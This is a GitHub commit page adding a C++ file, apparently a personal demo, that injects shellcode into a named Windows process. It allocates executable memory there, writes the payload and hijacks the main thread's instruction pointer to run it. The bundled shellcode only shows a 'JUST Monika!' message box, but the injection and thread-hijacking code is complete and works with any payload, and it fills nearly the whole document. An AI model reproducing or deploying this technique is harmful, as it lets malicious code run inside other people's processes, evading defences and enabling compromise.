Skip to content

Commit 3480669

Browse files
committed
Try new Method
1 parent 0e9cfd6 commit 3480669

2 files changed

Lines changed: 368 additions & 0 deletions

File tree

MonikaHijack/demo2.cpp

Lines changed: 368 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,368 @@
1+
#include <windows.h>
2+
#include <tlhelp32.h>
3+
#include <cstdio>
4+
5+
// Corrected Shellcode to inject
6+
const BYTE shellcode[] = {
7+
0xE8, 0x00, 0x00, 0x00, 0x00, // call $+5 (self-relative)
8+
0x5A, // pop rdx
9+
0x48, 0x83, 0xC2, 0x21, // add rdx, 0x21 (adjust rdx to point to "JUST Monika!")
10+
0x48, 0x31, 0xC9, // xor rcx, rcx (HWND = NULL)
11+
0x4C, 0x8B, 0xC2, // mov r8, rdx
12+
0x49, 0x83, 0xC0, 0x0d, // add r8, 0x0d (adjust R8 to point to "ALERT")
13+
0x4D, 0x31, 0xC9, // xor r9, r9 (uType = MB_OK)
14+
0x48, 0xB8, 0x60, 0xE0, 0x94, 0x1A, 0xFC, 0x7F, 0x00, 0x00, // mov rax, <MessageBoxA address>
15+
0xFF, 0xD0, // call rax (call MessageBoxA)
16+
0xC3, // ret
17+
0x90, 0x90, // nop nop (padding)
18+
// MessageBox strings (null-terminated)
19+
'J', 'U', 'S', 'T', ' ', 'M', 'o', 'n', 'i', 'k', 'a', '!', 0x00, // "JUST Monika!"
20+
'A', 'L', 'E', 'R', 'T', 0x00 // "ALERT"
21+
};
22+
23+
// Function prototype for NtQuerySystemInformation
24+
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(
25+
ULONG SystemInformationClass,
26+
PVOID SystemInformation,
27+
ULONG SystemInformationLength,
28+
PULONG ReturnLength
29+
);
30+
31+
#define SystemProcessInformation 5
32+
33+
typedef struct _UNICODE_STRING {
34+
USHORT Length;
35+
USHORT MaximumLength;
36+
PWSTR Buffer;
37+
} UNICODE_STRING, *PUNICODE_STRING;
38+
39+
// Define CLIENT_ID structure
40+
typedef struct _CLIENT_ID {
41+
PVOID UniqueProcess;
42+
PVOID UniqueThread;
43+
} CLIENT_ID, *PCLIENT_ID;
44+
45+
// Define SYSTEM_THREAD_INFORMATION structure
46+
typedef struct _SYSTEM_THREAD_INFORMATION {
47+
LARGE_INTEGER KernelTime;
48+
LARGE_INTEGER UserTime;
49+
LARGE_INTEGER CreateTime;
50+
ULONG WaitTime;
51+
PVOID StartAddress;
52+
CLIENT_ID ClientId;
53+
ULONG Priority;
54+
ULONG BasePriority;
55+
ULONG ContextSwitches;
56+
ULONG ThreadState;
57+
ULONG WaitReason;
58+
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
59+
60+
// Define SYSTEM_PROCESS_INFORMATION structure
61+
typedef struct _SYSTEM_PROCESS_INFORMATION {
62+
ULONG NextEntryOffset;
63+
ULONG NumberOfThreads;
64+
LARGE_INTEGER WorkingSetPrivateSize;
65+
ULONG HardFaultCount;
66+
ULONG NumberOfThreadsHighWatermark;
67+
ULONGLONG CycleTime;
68+
LARGE_INTEGER CreateTime;
69+
LARGE_INTEGER UserTime;
70+
LARGE_INTEGER KernelTime;
71+
UNICODE_STRING ImageName;
72+
ULONG BasePriority;
73+
HANDLE UniqueProcessId;
74+
HANDLE InheritedFromUniqueProcessId;
75+
ULONG HandleCount;
76+
ULONG SessionId;
77+
ULONG UniqueProcessKey;
78+
SIZE_T PeakVirtualSize;
79+
SIZE_T VirtualSize;
80+
ULONG PageFaultCount;
81+
SIZE_T PeakWorkingSetSize;
82+
SIZE_T WorkingSetSize;
83+
SIZE_T QuotaPeakPagedPoolUsage;
84+
SIZE_T QuotaPagedPoolUsage;
85+
SIZE_T QuotaPeakNonPagedPoolUsage;
86+
SIZE_T QuotaNonPagedPoolUsage;
87+
SIZE_T PagefileUsage;
88+
SIZE_T PeakPagefileUsage;
89+
SIZE_T PrivatePageCount;
90+
LARGE_INTEGER ReadOperationCount;
91+
LARGE_INTEGER WriteOperationCount;
92+
LARGE_INTEGER OtherOperationCount;
93+
LARGE_INTEGER ReadTransferCount;
94+
LARGE_INTEGER WriteTransferCount;
95+
LARGE_INTEGER OtherTransferCount;
96+
SYSTEM_THREAD_INFORMATION Threads[1];
97+
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
98+
99+
// Function to check if a thread is in a safe state for hijacking
100+
bool IsThreadSafeToHijack(DWORD processId, DWORD threadId)
101+
{
102+
// Load NtQuerySystemInformation
103+
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
104+
if (!hNtdll)
105+
{
106+
printf("Failed to load ntdll.dll\n");
107+
exit(1);
108+
}
109+
110+
static NtQuerySystemInformation_t NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtdll, "NtQuerySystemInformation");
111+
if (!NtQuerySystemInformation)
112+
{
113+
printf("Failed to get address of NtQuerySystemInformation\n");
114+
exit(1);
115+
}
116+
117+
static ULONG bufferSize = 0;
118+
static PSYSTEM_PROCESS_INFORMATION processInfoBuf = NULL;
119+
120+
if(bufferSize == 0 || !processInfoBuf)
121+
{
122+
NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize);
123+
processInfoBuf = (PSYSTEM_PROCESS_INFORMATION)malloc(bufferSize);
124+
if (!processInfoBuf)
125+
{
126+
printf("Failed to allocate memory for process information\n");
127+
exit(1);
128+
}
129+
}
130+
131+
if (NtQuerySystemInformation(SystemProcessInformation, processInfoBuf, bufferSize, &bufferSize) != 0)
132+
{
133+
printf("Failed to get process information\n");
134+
return false;
135+
}
136+
137+
// Iterate through all processes
138+
PSYSTEM_PROCESS_INFORMATION currentProcess = processInfoBuf;
139+
while (true)
140+
{
141+
if ((DWORD)(ULONG_PTR)currentProcess->UniqueProcessId == processId)
142+
{
143+
// Found the target process, iterate through its threads
144+
for (ULONG i = 0; i < currentProcess->NumberOfThreads; i++)
145+
{
146+
SYSTEM_THREAD_INFORMATION threadInfo = currentProcess->Threads[i];
147+
if ((DWORD)(ULONG_PTR)threadInfo.ClientId.UniqueThread == threadId)
148+
{
149+
printf("Thread %lu: State=%lu, WaitReason=%lu\n", threadId, threadInfo.ThreadState, threadInfo.WaitReason);
150+
// Check if the thread is in a safe state (e.g., running or waiting for user input)
151+
if (threadInfo.ThreadState == 2 /* Running */ || threadInfo.WaitReason == 5 /* UserRequest */)
152+
{
153+
return true;
154+
}
155+
else
156+
{
157+
return false;
158+
}
159+
}
160+
}
161+
}
162+
163+
if (currentProcess->NextEntryOffset == 0)
164+
break;
165+
currentProcess = (PSYSTEM_PROCESS_INFORMATION)((PUCHAR)currentProcess + currentProcess->NextEntryOffset);
166+
}
167+
168+
return false;
169+
}
170+
171+
172+
// Function to get the PID of the target process by name
173+
DWORD GetProcessIdByName(const char* processName)
174+
{
175+
PROCESSENTRY32 pe32;
176+
pe32.dwSize = sizeof(PROCESSENTRY32);
177+
178+
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
179+
if (hProcessSnap == INVALID_HANDLE_VALUE)
180+
return 0;
181+
182+
DWORD processId = 0;
183+
if (Process32First(hProcessSnap, &pe32))
184+
{
185+
do
186+
{
187+
if (strcmp(pe32.szExeFile, processName) == 0)
188+
{
189+
processId = pe32.th32ProcessID;
190+
break;
191+
}
192+
} while (Process32Next(hProcessSnap, &pe32));
193+
}
194+
195+
CloseHandle(hProcessSnap);
196+
return processId;
197+
}
198+
199+
// Function to find the main thread of the target process
200+
DWORD GetMainThreadId(DWORD processId)
201+
{
202+
THREADENTRY32 te32;
203+
te32.dwSize = sizeof(THREADENTRY32);
204+
205+
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
206+
if (hThreadSnap == INVALID_HANDLE_VALUE)
207+
return 0;
208+
209+
DWORD mainThreadId = 0;
210+
FILETIME earliestTime = { MAXDWORD, MAXDWORD };
211+
212+
if (Thread32First(hThreadSnap, &te32))
213+
{
214+
do
215+
{
216+
if (te32.th32OwnerProcessID == processId)
217+
{
218+
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, te32.th32ThreadID);
219+
if (hThread)
220+
{
221+
FILETIME creationTime, exitTime, kernelTime, userTime;
222+
if (GetThreadTimes(hThread, &creationTime, &exitTime, &kernelTime, &userTime))
223+
{
224+
if (CompareFileTime(&creationTime, &earliestTime) < 0)
225+
{
226+
earliestTime = creationTime;
227+
mainThreadId = te32.th32ThreadID;
228+
}
229+
}
230+
CloseHandle(hThread);
231+
}
232+
}
233+
} while (Thread32Next(hThreadSnap, &te32));
234+
}
235+
236+
CloseHandle(hThreadSnap);
237+
return mainThreadId;
238+
}
239+
240+
// Function to inject shellcode into the target process and return the address of the remote memory
241+
LPVOID InjectShellcode(DWORD processId)
242+
{
243+
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
244+
if (!hProcess)
245+
{
246+
printf("Failed to open process with PID %lu\n", processId);
247+
return NULL;
248+
}
249+
250+
// Allocate memory in the target process
251+
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
252+
if (!remoteMemory)
253+
{
254+
printf("Failed to allocate memory in the target process\n");
255+
CloseHandle(hProcess);
256+
return NULL;
257+
}
258+
printf("Allocated RWX memory at address: 0x%p\n", remoteMemory);
259+
260+
// Write the shellcode to the allocated memory
261+
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL))
262+
{
263+
printf("Failed to write shellcode to the allocated memory\n");
264+
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
265+
CloseHandle(hProcess);
266+
return NULL;
267+
}
268+
printf("Shellcode written to remote memory successfully\n");
269+
270+
CloseHandle(hProcess);
271+
return remoteMemory;
272+
}
273+
274+
// Function to hijack the main thread and set its RIP to the injected shellcode
275+
bool HijackMainThread(DWORD processId, DWORD mainThreadId, LPVOID shellcodeAddress)
276+
{
277+
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, mainThreadId);
278+
if (!hThread)
279+
{
280+
printf("Failed to open main thread with TID %lu\n", mainThreadId);
281+
return false;
282+
}
283+
284+
// Suspend the thread and get its context
285+
SuspendThread(hThread);
286+
printf("Suspended main thread with TID %lu\n", mainThreadId);
287+
288+
CONTEXT ctx;
289+
ctx.ContextFlags = CONTEXT_FULL;
290+
if (GetThreadContext(hThread, &ctx))
291+
{
292+
printf("Original RIP: 0x%p\n", (LPVOID)ctx.Rip);
293+
294+
// Set RIP to the shellcode address
295+
ctx.Rip = (DWORD64)shellcodeAddress;
296+
printf("Hijacking RIP to address: 0x%p\n", shellcodeAddress);
297+
298+
// Update the thread context
299+
if (!SetThreadContext(hThread, &ctx))
300+
{
301+
printf("Failed to set thread context\n");
302+
ResumeThread(hThread);
303+
CloseHandle(hThread);
304+
return false;
305+
}
306+
}
307+
else
308+
{
309+
printf("Failed to get thread context\n");
310+
ResumeThread(hThread);
311+
CloseHandle(hThread);
312+
return false;
313+
}
314+
315+
// Resume the thread
316+
ResumeThread(hThread);
317+
printf("Resumed main thread with TID %lu\n", mainThreadId);
318+
CloseHandle(hThread);
319+
return true;
320+
}
321+
322+
int main()
323+
{
324+
const char* targetProcessName = "target.exe"; // Replace with your target process name
325+
DWORD processId = GetProcessIdByName(targetProcessName);
326+
327+
if (!processId)
328+
{
329+
printf("Target process \"%s\" not found. Exiting.\n", targetProcessName);
330+
return 1;
331+
}
332+
333+
printf("Target process \"%s\" found with PID %lu\n", targetProcessName, processId);
334+
335+
// Inject shellcode and get the remote memory address
336+
LPVOID remoteMemory = InjectShellcode(processId);
337+
if (!remoteMemory)
338+
{
339+
printf("Failed to inject shellcode.\n");
340+
return 1;
341+
}
342+
343+
// Get the main thread ID
344+
DWORD mainThreadId = GetMainThreadId(processId);
345+
if (!mainThreadId)
346+
{
347+
printf("Failed to find main thread.\n");
348+
return 1;
349+
}
350+
351+
printf("Main thread found with TID %lu\n", mainThreadId);
352+
353+
// Wait until the main thread is in a safe state to hijack
354+
printf("Waiting for the main thread to be in a safe state to hijack...\n");
355+
while (!IsThreadSafeToHijack(processId, mainThreadId))
356+
{
357+
// Sleep for a short duration before checking again
358+
Sleep(10);
359+
}
360+
361+
// Hijack the main thread
362+
if (HijackMainThread(processId, mainThreadId, remoteMemory))
363+
printf("Shellcode injected and main thread hijacked successfully.\n");
364+
else
365+
printf("Failed to hijack main thread.\n");
366+
367+
return 0;
368+
}

MonikaHijack/demo2.exe

524 KB
Binary file not shown.

0 commit comments

Comments
 (0)